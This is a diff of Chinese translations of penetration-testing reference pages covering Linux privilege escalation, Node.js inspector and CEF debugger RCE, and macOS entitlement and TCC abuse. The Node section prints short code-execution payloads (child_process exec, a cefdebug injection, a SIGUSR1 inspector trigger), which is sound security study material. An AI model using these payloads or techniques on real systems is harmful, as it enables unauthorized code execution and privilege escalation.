- [ ] **有未挂载的驱动器吗？**
|
||||
- [ ] **fstab中有任何凭据吗？**
|
||||
|
||||
### [**已安装软件**](privilege-escalation/index.html#installed-software)
|
||||
|
||||
- [ ] **检查是否有** [**有用的软件**](privilege-escalation/index.html#useful-software) **已安装**
|
||||
- [ ] **检查是否有** [**易受攻击的软件**](privilege-escalation/index.html#vulnerable-software-installed) **已安装**
|
||||
- [ ] **检查是否安装了** [**有用的软件**](privilege-escalation/index.html#useful-software)
|
||||
- [ ] **检查是否安装了** [**易受攻击的软件**](privilege-escalation/index.html#vulnerable-software-installed)
|
||||
|
||||
### [进程](privilege-escalation/index.html#processes)
|
||||
|
||||
- [ ] 是否有 **未知软件在运行**？
|
||||
- [ ] 是否有软件以 **超出其应有的权限** 运行？
|
||||
- [ ] 搜索 **正在运行进程的漏洞** (特别是正在运行的版本)。
|
||||
- [ ] 你能 **修改任何正在运行进程的二进制文件** 吗？
|
||||
- [ ] 是否有软件以 **超出其应有的权限**运行？
|
||||
- [ ] 搜索 **正在运行进程的漏洞**（特别是正在运行的版本）。
|
||||
- [ ] 你能 **修改任何正在运行进程的二进制文件**吗？
|
||||
- [ ] **监控进程**，检查是否有任何有趣的进程频繁运行。
|
||||
- [ ] 你能 **读取** 一些有趣的 **进程内存** (可能保存密码的地方) 吗？
|
||||
- [ ] 你能 **读取** 一些有趣的 **进程内存**（可能保存密码的地方）吗？
|
||||
|
||||
### [计划任务/Cron作业？](privilege-escalation/index.html#scheduled-jobs)
|
||||
|
||||
- [ ] [**PATH**](privilege-escalation/index.html#cron-path) 是否被某些cron修改且你可以 **写入**？
|
||||
- [ ] 在cron作业中有任何 [**通配符**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) 吗？
|
||||
- [ ] 有一些 [**可修改的脚本**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) 正在 **执行** 或在 **可修改文件夹** 中？
|
||||
- [ ] 你是否检测到某些 **脚本** 可能或正在被 [**频繁执行**](privilege-escalation/index.html#frequent-cron-jobs)？ (每1、2或5分钟)
|
||||
- [ ] [**PATH**](privilege-escalation/index.html#cron-path)是否被某些cron修改且你可以 **写入**？
|
||||
- [ ] 在cron作业中有任何 [**通配符**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection)吗？
|
||||
- [ ] 是否有某个 [**可修改的脚本**](privilege-escalation/index.html#cron-script-overwriting-and-symlink)正在 **执行**或在 **可修改文件夹**中？
|
||||
- [ ] 你是否检测到某个 **脚本** 可能或正在被 [**频繁执行**](privilege-escalation/index.html#frequent-cron-jobs)？（每1、2或5分钟）
|
||||
|
||||
### [服务](privilege-escalation/index.html#services)
|
||||
|
||||
- [ ] 有任何 **可写的 .service** 文件吗？
|
||||
- [ ] 有任何 **可写的.service** 文件吗？
|
||||
- [ ] 有任何 **可写的二进制文件** 被 **服务** 执行吗？
|
||||
- [ ] 在systemd PATH中有任何 **可写文件夹** 吗？
|
||||
- [ ] 在systemd PATH中有任何 **可写文件夹**？
|
||||
|
||||
### [定时器](privilege-escalation/index.html#timers)
|
||||
|
||||
- [ ] 有任何 **可写的定时器** 吗？
|
||||
- [ ] 有任何 **可写的定时器**？
|
||||
|
||||
### [套接字](privilege-escalation/index.html#sockets)
|
||||
|
||||
- [ ] 有任何 **可写的 .socket** 文件吗？
|
||||
- [ ] 你能 **与任何套接字通信** 吗？
|
||||
- [ ] **HTTP套接字** 有有趣的信息吗？
|
||||
- [ ] 有任何 **可写的.socket** 文件吗？
|
||||
- [ ] 你能 **与任何套接字通信**吗？
|
||||
- [ ] **HTTP套接字**中有有趣的信息吗？
|
||||
|
||||
### [D-Bus](privilege-escalation/index.html#d-bus)
|
||||
|
||||
- [ ] 你能 **与任何D-Bus通信** 吗？
|
||||
- [ ] 你能 **与任何D-Bus通信**吗？
|
||||
|
||||
### [网络](privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] 枚举网络以了解你的位置
|
||||
- [ ] **打开的端口你之前无法访问** 进入机器后？
|
||||
- [ ] 你能使用 `tcpdump` **嗅探流量** 吗？
|
||||
- [ ] **打开的端口你之前无法访问**，现在可以在机器内部获取shell吗？
|
||||
- [ ] 你能使用 `tcpdump` **嗅探流量**吗？
|
||||
|
||||
### [用户](privilege-escalation/index.html#users)
|
||||
|
||||
- [ ] 通用用户/组 **枚举**
|
||||
- [ ] 你有一个 **非常大的UID** 吗？ **机器** **易受攻击** 吗？
|
||||
- [ ] 你能 [**通过你所属的组提升权限**](privilege-escalation/interesting-groups-linux-pe/) 吗？
|
||||
- [ ] 你有一个 **非常大的UID** 吗？ **机器** **易受攻击**吗？
|
||||
- [ ] 你能 [**通过你所属的组提升权限**](privilege-escalation/interesting-groups-linux-pe/index.html)吗？
|
||||
- [ ] **剪贴板** 数据？
|
||||
- [ ] 密码策略？
|
||||
- [ ] 尝试 **使用** 你之前发现的每个 **已知密码** 登录 **每个** 可能的 **用户**。 尝试在没有密码的情况下登录。
|
||||
- [ ] 尝试 **使用** 你之前发现的每个 **已知密码** 登录 **每个** 可能的 **用户**。 也尝试不带密码登录。
|
||||
|
||||
### [可写的PATH](privilege-escalation/index.html#writable-path-abuses)
|
||||
|
||||
@ -83,16 +83,16 @@
|
||||
|
||||
### [SUDO和SUID命令](privilege-escalation/index.html#sudo-and-suid)
|
||||
|
||||
- [ ] 你能执行 **任何带sudo的命令** 吗？ 你能用它 **读取、写入或执行** 任何东西作为root吗？ ([**GTFOBins**](https://gtfobins.github.io))
|
||||
- [ ] 你能执行 **任何带sudo的命令**吗？ 你能用它 **读取、写入或执行** 任何东西作为root吗？ ([**GTFOBins**](https://gtfobins.github.io))
|
||||
- [ ] 是否有任何 **可利用的SUID二进制文件**？ ([**GTFOBins**](https://gtfobins.github.io))
|
||||
- [ ] [**sudo** 命令是否 **受限** 于 **路径**？ 你能 **绕过** 限制吗](privilege-escalation/index.html#sudo-execution-bypassing-paths)？
|
||||
- [ ] [**sudo** 命令是否 **受限于** **路径**？你能 **绕过** 限制吗](privilege-escalation/index.html#sudo-execution-bypassing-paths)？
|
||||
- [ ] [**没有指定路径的Sudo/SUID二进制文件**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)？
|
||||
- [ ] [**指定路径的SUID二进制文件**](privilege-escalation/index.html#suid-binary-with-command-path)？ 绕过
|
||||
- [ ] [**LD_PRELOAD漏洞**](privilege-escalation/index.html#ld_preload)
|
||||
- [ ] [**SUID二进制文件中缺少 .so 库**](privilege-escalation/index.html#suid-binary-so-injection) 来自可写文件夹？
|
||||
- [ ] [**可用的SUDO令牌**](privilege-escalation/index.html#reusing-sudo-tokens)？ [**你能创建一个SUDO令牌吗**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)？
|
||||
- [ ] 你能 [**读取或修改sudoers文件**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d) 吗？
|
||||
- [ ] 你能 [**修改 /etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d) 吗？
|
||||
- [ ] [**SUID二进制文件中缺少.so库**](privilege-escalation/index.html#suid-binary-so-injection)来自可写文件夹？
|
||||
- [ ] [**可用的SUDO令牌**](privilege-escalation/index.html#reusing-sudo-tokens)？ [**你能创建SUDO令牌吗**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)？
|
||||
- [ ] 你能 [**读取或修改sudoers文件**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)吗？
|
||||
- [ ] 你能 [**修改/etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d)吗？
|
||||
- [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas) 命令
|
||||
|
||||
### [能力](privilege-escalation/index.html#capabilities)
|
||||
@ -103,7 +103,7 @@
|
||||
|
||||
- [ ] 是否有任何文件具有 **意外的ACL**？
|
||||
|
||||
### [打开的Shell会话](privilege-escalation/index.html#open-shell-sessions)
|
||||
### [开放Shell会话](privilege-escalation/index.html#open-shell-sessions)
|
||||
|
||||
- [ ] **screen**
|
||||
- [ ] **tmux**
|
||||
@ -117,27 +117,27 @@
|
||||
|
||||
- [ ] **配置文件** - 读取敏感数据？ 写入权限提升？
|
||||
- [ ] **passwd/shadow文件** - 读取敏感数据？ 写入权限提升？
|
||||
- [ ] **检查常见的有趣文件夹** 是否有敏感数据
|
||||
- [ ] **奇怪的位置/拥有的文件，** 你可能有权限访问或更改可执行文件
|
||||
- [ ] **在最后几分钟内修改**
|
||||
- [ ] **检查常见的有趣文件夹**以查找敏感数据
|
||||
- [ ] **奇怪的位置/拥有的文件，**你可能有权限访问或更改可执行文件
|
||||
- [ ] **最近几分钟内修改**
|
||||
- [ ] **Sqlite数据库文件**
|
||||
- [ ] **隐藏文件**
|
||||
- [ ] **PATH中的脚本/二进制文件**
|
||||
- [ ] **Web文件** (密码？)
|
||||
- [ ] **Web文件**（密码？）
|
||||
- [ ] **备份**？
|
||||
- [ ] **已知包含密码的文件**: 使用 **Linpeas** 和 **LaZagne**
|
||||
- [ ] **已知包含密码的文件**：使用 **Linpeas** 和 **LaZagne**
|
||||
- [ ] **通用搜索**
|
||||
|
||||
### [**可写文件**](privilege-escalation/index.html#writable-files)
|
||||
|
||||
- [ ] **修改python库** 以执行任意命令？
|
||||
- [ ] 你能 **修改日志文件** 吗？ **Logtotten** 漏洞
|
||||
- [ ] 你能 **修改 /etc/sysconfig/network-scripts/** 吗？ Centos/Redhat 漏洞
|
||||
- [ ] 你能 [**写入 ini、int.d、systemd 或 rc.d 文件**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d) 吗？
|
||||
- [ ] **修改python库**以执行任意命令？
|
||||
- [ ] 你能 **修改日志文件**吗？ **Logtotten** 漏洞
|
||||
- [ ] 你能 **修改/etc/sysconfig/network-scripts/**吗？ Centos/Redhat 漏洞
|
||||
- [ ] 你能 [**写入ini、int.d、systemd或rc.d文件**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)吗？
|
||||
|
||||
### [**其他技巧**](privilege-escalation/index.html#other-tricks)
|
||||
|
||||
- [ ] 你能 [**利用NFS提升权限**](privilege-escalation/index.html#nfs-privilege-escalation) 吗？
|
||||
- [ ] 你需要 [**逃离限制性shell**](privilege-escalation/index.html#escaping-from-restricted-shells) 吗？
|
||||
- [ ] 你能 [**利用NFS提升权限**](privilege-escalation/index.html#nfs-privilege-escalation)吗？
|
||||
- [ ] 你需要 [**逃离限制性shell**](privilege-escalation/index.html#escaping-from-restricted-shells)吗？
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
调试客户端必须知道并指定主机地址、端口和 UUID 以进行连接。完整的 URL 看起来像 `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`。
|
||||
|
||||
> [!WARNING]
|
||||
> 由于 **调试器对 Node.js 执行环境具有完全访问权限**，能够连接到此端口的恶意行为者可能能够代表 Node.js 进程执行任意代码（**潜在的特权提升**）。
|
||||
> 由于 **调试器对 Node.js 执行环境具有完全访问权限**，能够连接到此端口的恶意行为者可能能够代表 Node.js 进程执行任意代码（**潜在的权限提升**）。
|
||||
|
||||
启动调试器有几种方法：
|
||||
```bash
|
||||
@ -27,7 +27,7 @@ node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
|
||||
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
For help, see: https://nodejs.org/en/docs/inspector
|
||||
```
|
||||
基于 **CEF** (**Chromium Embedded Framework**) 的进程需要使用参数: `--remote-debugging-port=9222` 来打开 **debugger**（SSRF 保护仍然非常相似）。然而，它们 **而不是** 授予 **NodeJS** **debug** 会话，而是使用 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) 与浏览器进行通信，这是一个控制浏览器的接口，但没有直接的 RCE。
|
||||
基于 **CEF** (**Chromium Embedded Framework**) 的进程需要使用参数: `--remote-debugging-port=9222` 来打开 **debugger**（SSRF 保护仍然非常相似）。然而，它们 **而不是** 授予 **NodeJS** **debug** 会话，而是通过 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) 与浏览器进行通信，这是一个控制浏览器的接口，但没有直接的 RCE。
|
||||
|
||||
当你启动一个调试的浏览器时，类似这样的内容将会出现：
|
||||
```
|
||||
@ -40,9 +40,9 @@ DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4
|
||||
> [!NOTE]
|
||||
> 该**安全措施防止利用检查器**通过**仅发送 HTTP 请求**（这可以通过利用 SSRF 漏洞来完成）来运行代码。
|
||||
|
||||
### 在运行进程中启动检查器
|
||||
### 在运行的进程中启动检查器
|
||||
|
||||
您可以向正在运行的 nodejs 进程发送**信号 SIGUSR1**以使其在默认端口**启动检查器**。但是，请注意，您需要拥有足够的权限，因此这可能会授予您**对进程内部信息的特权访问**，但不会直接导致权限提升。
|
||||
您可以向正在运行的 nodejs 进程发送**信号 SIGUSR1**以使其在默认端口**启动检查器**。但是，请注意，您需要拥有足够的权限，因此这可能会授予您**对进程内部信息的特权访问**，但不会直接提升权限。
|
||||
```bash
|
||||
kill -s SIGUSR1 <nodejs-ps>
|
||||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
@ -73,14 +73,14 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe
|
||||
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
|
||||
```
|
||||
> [!NOTE]
|
||||
> 请注意，**NodeJS RCE 漏洞将无法工作**，如果通过 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) 连接到浏览器（您需要检查 API 以找到有趣的事情来做）。
|
||||
> 请注意，如果通过 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) 连接到浏览器，**NodeJS RCE 漏洞将无法工作**（您需要检查 API 以找到有趣的操作）。
|
||||
|
||||
## NodeJS 调试器/检查器中的 RCE
|
||||
|
||||
> [!NOTE]
|
||||
> 如果您来这里是想了解如何从 Electron 中的 [**XSS 获取 RCE，请查看此页面。**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
> 如果您来这里是想了解如何从 Electron 中的 [**XSS 获取 RCE，请查看此页面。**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
|
||||
|
||||
一些常见的方法来获得 **RCE** 当您可以 **连接** 到 Node **检查器** 时是使用类似的东西（看起来这 **在连接到 Chrome DevTools 协议时将无法工作**）：
|
||||
一些常见的方法来获取 **RCE** 当您可以 **连接** 到 Node **检查器** 时是使用类似的东西（看起来这 **在连接到 Chrome DevTools 协议时不会工作**）：
|
||||
```javascript
|
||||
process.mainModule.require("child_process").exec("calc")
|
||||
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
|
||||
@ -89,14 +89,14 @@ Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))
|
||||
```
|
||||
## Chrome DevTools Protocol Payloads
|
||||
|
||||
您可以在此处查看 API: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
|
||||
您可以在这里查看 API: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
|
||||
在本节中，我将列出我发现人们用来利用此协议的有趣内容。
|
||||
|
||||
### 通过深层链接进行参数注入
|
||||
|
||||
在 [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) 中，Rhino 安全发现基于 CEF 的应用程序 **在系统中注册了一个自定义 URI** (workspaces://)，该 URI 接收完整的 URI，然后 **使用部分构造的配置启动 CEF 基于的应用程序**。
|
||||
在 [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) 中，Rhino 安全发现基于 CEF 的应用程序 **在系统中注册了一个自定义 URI** (workspaces://index.html)，该 URI 接收完整的 URI，然后 **使用部分构造的配置启动 CEF 基于的应用程序**。
|
||||
|
||||
发现 URI 参数被 URL 解码并用于启动 CEF 基本应用程序，允许用户在 **命令行** 中 **注入** 标志 **`--gpu-launcher`** 并执行任意操作。
|
||||
发现 URI 参数被 URL 解码并用于启动 CEF 基本应用程序，允许用户 **注入** 标志 **`--gpu-launcher`** 到 **命令行** 并执行任意操作。
|
||||
|
||||
因此，像这样的有效载荷:
|
||||
```
|
||||
@ -122,7 +122,7 @@ downloadPath: "/code/",
|
||||
```
|
||||
### Webdriver RCE 和外泄
|
||||
|
||||
根据这篇文章：[https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148)，可以获得 RCE 并从 theriver 中外泄内部页面。
|
||||
根据这篇文章: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148)，可以获得 RCE 并从 theriver 中外泄内部页面。
|
||||
|
||||
### 后期利用
|
||||
|
||||
|
||||
@ -37,7 +37,7 @@ macos-protocols.md
|
||||
{{#endref}}
|
||||
|
||||
- **开源** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
- 要下载 `tar.gz`，将 URL 更改为 [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) 到 [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
- 要下载 `tar.gz`，将 URL 更改为 [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
|
||||
### MacOS MDM
|
||||
|
||||
@ -63,15 +63,15 @@ macos-security-protections/
|
||||
|
||||
### 文件权限
|
||||
|
||||
如果 **以 root 身份运行的进程写入** 一个可以被用户控制的文件，用户可能会利用此文件来 **提升权限**。\
|
||||
如果 **以 root 身份运行的进程写入** 一个可以被用户控制的文件，用户可能会利用这一点来 **提升权限**。\
|
||||
这可能发生在以下情况下：
|
||||
|
||||
- 使用的文件已由用户创建（属于用户）
|
||||
- 使用的文件已经由用户创建（属于用户）
|
||||
- 使用的文件因组而可被用户写入
|
||||
- 使用的文件位于用户拥有的目录中（用户可以创建该文件）
|
||||
- 使用的文件位于 root 拥有的目录中，但用户因组而具有写入权限（用户可以创建该文件）
|
||||
- 使用的文件位于 root 拥有的目录中，但用户因组而对其具有写入权限（用户可以创建该文件）
|
||||
|
||||
能够 **创建一个将被 root 使用的文件**，允许用户 **利用其内容**，甚至创建 **符号链接/硬链接** 指向其他位置。
|
||||
能够 **创建一个将被 root 使用的文件**，允许用户 **利用其内容**，甚至创建 **符号链接/硬链接** 指向另一个位置。
|
||||
|
||||
对于这种漏洞，不要忘记 **检查易受攻击的 `.pkg` 安装程序**：
|
||||
|
||||
@ -93,9 +93,9 @@ macos-file-extension-apps.md
|
||||
|
||||
因此，想要成功攻陷 macOS 机器的攻击者需要 **提升其 TCC 权限**（甚至 **绕过 SIP**，具体取决于其需求）。
|
||||
|
||||
这些权限通常以 **授权** 的形式授予，应用程序是用此签名的，或者应用程序可能请求某些访问权限，在 **用户批准后**，它们可以在 **TCC 数据库** 中找到。进程获取这些权限的另一种方式是成为具有这些 **权限** 的进程的 **子进程**，因为它们通常是 **继承的**。
|
||||
这些权限通常以 **应用程序签名的授权** 形式授予，或者应用程序可能请求某些访问权限，在 **用户批准后**，它们可以在 **TCC 数据库** 中找到。进程获得这些权限的另一种方式是成为具有这些 **权限** 的进程的 **子进程**，因为它们通常是 **继承的**。
|
||||
|
||||
请访问这些链接以找到不同的方式 [**提升 TCC 中的权限**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses)，以 [**绕过 TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) 和过去 [**如何绕过 SIP**](macos-security-protections/macos-sip.md#sip-bypasses)。
|
||||
请访问这些链接以找到不同的方式 [**提升 TCC 中的权限**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses)，以 [**绕过 TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) 以及过去 [**如何绕过 SIP**](macos-security-protections/macos-sip.md#sip-bypasses)。
|
||||
|
||||
## macOS 传统权限提升
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# macOS 危险权限与 TCC 权限
|
||||
# macOS Dangerous Entitlements & TCC perms
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -13,15 +13,15 @@
|
||||
|
||||
### **`com.apple.rootless.install`**
|
||||
|
||||
权限 **`com.apple.rootless.install`** 允许 **绕过 SIP**。查看 [此处获取更多信息](macos-sip.md#com.apple.rootless.install)。
|
||||
权限 **`com.apple.rootless.install`** 允许 **绕过 SIP**。查看[此处获取更多信息](macos-sip.md#com.apple.rootless.install)。
|
||||
|
||||
### **`com.apple.system-task-ports` (之前称为 `task_for_pid-allow`)**
|
||||
|
||||
此权限允许获取 **任何** 进程的 **任务端口**，除了内核。查看 [**此处获取更多信息**](../macos-proces-abuse/macos-ipc-inter-process-communication/)。
|
||||
此权限允许获取 **任何** 进程的 **任务端口**，除了内核。查看 [**此处获取更多信息**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)。
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
此权限允许其他具有 **`com.apple.security.cs.debugger`** 权限的进程获取由具有此权限的二进制文件运行的进程的任务端口并 **注入代码**。查看 [**此处获取更多信息**](../macos-proces-abuse/macos-ipc-inter-process-communication/)。
|
||||
此权限允许其他具有 **`com.apple.security.cs.debugger`** 权限的进程获取由具有此权限的二进制文件运行的进程的任务端口并 **注入代码**。查看 [**此处获取更多信息**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)。
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
@ -29,7 +29,7 @@
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
此权限允许 **加载框架、插件或库，而不需要由 Apple 签名或与主可执行文件具有相同的团队 ID**，因此攻击者可以利用某些任意库加载来注入代码。查看 [**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)。
|
||||
此权限允许 **加载框架、插件或库，而不需要由 Apple 签名或与主可执行文件具有相同的团队 ID 签名**，因此攻击者可以利用某些任意库加载来注入代码。查看 [**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)。
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
@ -58,7 +58,7 @@
|
||||
|
||||
**iMovie** 和 **Garageband** 拥有此权限。
|
||||
|
||||
有关 **从该权限获取 iCloud 令牌** 的漏洞的更多 **信息**，请查看演讲：[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
有关利用此权限 **获取 iCloud 令牌** 的更多 **信息**，请查看演讲：[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
@ -87,7 +87,7 @@ TODO: 在 [**这份报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA
|
||||
```
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
授予**完全磁盘访问**权限，这是TCC可以拥有的最高权限之一。
|
||||
授予**完全磁盘访问**权限，这是您可以拥有的TCC最高权限之一。
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
@ -101,15 +101,15 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
允许在其他权限中，**写入用户的 TCC 数据库**。
|
||||
允许在其他权限中 **写入用户的 TCC 数据库**。
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
允许**更改**用户的 **`NFSHomeDirectory`** 属性，从而更改其主文件夹路径，因此允许**绕过 TCC**。
|
||||
允许 **更改** 用户的 **`NFSHomeDirectory`** 属性，从而更改其主文件夹路径，因此允许 **绕过 TCC**。
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
允许修改应用程序包内的文件（在 app.app 内），这在默认情况下是**不允许的**。
|
||||
允许修改应用程序包内的文件（在 app.app 内），这在 **默认情况下是不允许的**。
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -117,31 +117,31 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
该进程将能够**滥用 macOS 辅助功能**，这意味着例如它将能够按下按键。因此，它可以请求访问控制像 Finder 这样的应用程序，并批准具有此权限的对话框。
|
||||
该进程将能够 **滥用 macOS 辅助功能**，这意味着例如它将能够按下按键。因此，它可以请求访问控制像 Finder 这样的应用程序，并批准具有此权限的对话框。
|
||||
|
||||
## 中等
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
此权限允许通过将 `MAP_JIT` 标志传递给 `mmap()` 系统函数来**创建可写和可执行的内存**。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)。
|
||||
此权限允许通过将 `MAP_JIT` 标志传递给 `mmap()` 系统函数来 **创建可写和可执行的内存**。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)。
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
此权限允许**覆盖或修补 C 代码**，使用长期弃用的 **`NSCreateObjectFileImageFromMemory`**（这在根本上是不安全的），或使用 **DVDPlayback** 框架。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。
|
||||
此权限允许 **覆盖或修补 C 代码**，使用已被长期弃用的 **`NSCreateObjectFileImageFromMemory`**（这在根本上是不安全的），或使用 **DVDPlayback** 框架。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。
|
||||
|
||||
> [!CAUTION]
|
||||
> 包含此权限会使您的应用程序暴露于内存不安全代码语言中的常见漏洞。仔细考虑您的应用程序是否需要此例外。
|
||||
> 包含此权限会使您的应用程序暴露于内存不安全代码语言中的常见漏洞。请仔细考虑您的应用程序是否需要此例外。
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
此权限允许**修改其自身可执行文件**在磁盘上的部分以强制退出。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。
|
||||
此权限允许 **修改其自身可执行文件** 在磁盘上的部分以强制退出。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。
|
||||
|
||||
> [!CAUTION]
|
||||
> 禁用可执行内存保护权限是一种极端权限，它从您的应用程序中移除了基本的安全保护，使攻击者能够在不被检测的情况下重写您应用程序的可执行代码。如果可能，优先选择更窄的权限。
|
||||
> 禁用可执行内存保护权限是一种极端权限，它从您的应用程序中移除了基本的安全保护，使攻击者能够在不被检测的情况下重写您应用程序的可执行代码。如果可能，优先选择更狭窄的权限。
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
||||
TODO
|
||||
待办事项
|
||||
|
||||
### `com.apple.private.nullfs_allow`
|
||||
|
||||
@ -161,3 +161,5 @@ TODO
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
</details>
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
**目录**中的权限：
|
||||
|
||||
- **读取** - 你可以 **枚举** 目录条目
|
||||
- **写入** - 你可以 **删除/写入** 目录中的 **文件**，并且你可以 **删除空文件夹**。
|
||||
- **写入** - 你可以 **删除/写入** 目录中的 **文件**，并且可以 **删除空文件夹**。
|
||||
- 但你 **不能删除/修改非空文件夹**，除非你对其拥有写入权限。
|
||||
- 你 **不能修改文件夹的名称**，除非你拥有它。
|
||||
- **执行** - 你被 **允许遍历** 目录 - 如果你没有这个权限，你无法访问其中的任何文件或任何子目录。
|
||||
@ -20,11 +20,11 @@
|
||||
- 路径中的一个父 **目录所有者** 是具有 **写入访问权限** 的 **用户组**
|
||||
- 一个用户 **组** 对 **文件** 具有 **写入** 访问权限
|
||||
|
||||
在任何上述组合中，攻击者可以 **注入** 一个 **符号/硬链接** 到预期路径，以获得特权的任意写入。
|
||||
在任何之前的组合中，攻击者可以 **注入** 一个 **符号/硬链接** 到预期路径，以获得特权的任意写入。
|
||||
|
||||
### 文件夹 root R+X 特殊情况
|
||||
|
||||
如果在一个 **目录** 中有文件，**只有 root 拥有 R+X 访问权限**，那么这些文件对 **其他任何人** 都是 **不可访问的**。因此，允许 **将用户可读的文件** 从此文件夹 **移动到另一个文件夹** 的漏洞，可能会被滥用以读取这些文件。
|
||||
